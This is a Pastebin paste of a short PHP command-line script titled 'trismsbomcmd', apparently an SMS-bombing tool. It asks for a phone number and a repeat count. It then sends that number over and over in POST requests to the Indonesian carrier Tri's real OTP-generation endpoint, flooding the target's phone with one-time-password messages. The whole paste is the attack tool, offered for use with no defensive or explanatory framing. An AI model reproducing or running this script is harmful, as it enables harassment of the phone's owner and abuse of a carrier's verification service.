Advertisement
Guest User

trismsbomcmd

a guest
Jun 12th, 2018
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. <?php
  2. $url = "https://registrasi.tri.co.id/daftar/generateOTP";
  3. echo "Nomor : ";
  4. $nomor = trim(fgets(STDIN, 1024));
  5. echo "Limit : ";
  6. $limit = trim(fgets(STDIN, 1024));
  7. $payload = array("msisdn" => $nomor);
  8. echo "\n";
  9. $options = array(
  10. 'http' => array(
  11. 'header' => "Content-type: application/x-www-form-urlencoded\r\n",
  12. 'method' => 'POST',
  13. 'content' => http_build_query($payload)
  14. )
  15. );
  16. for ($i=1; $i<=$limit; $i++){
  17. $context = stream_context_create($options);
  18. $result = file_get_contents($url, false, $context);
  19. echo "[+] Status -> ".$result."\n";
  20. }
  21. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement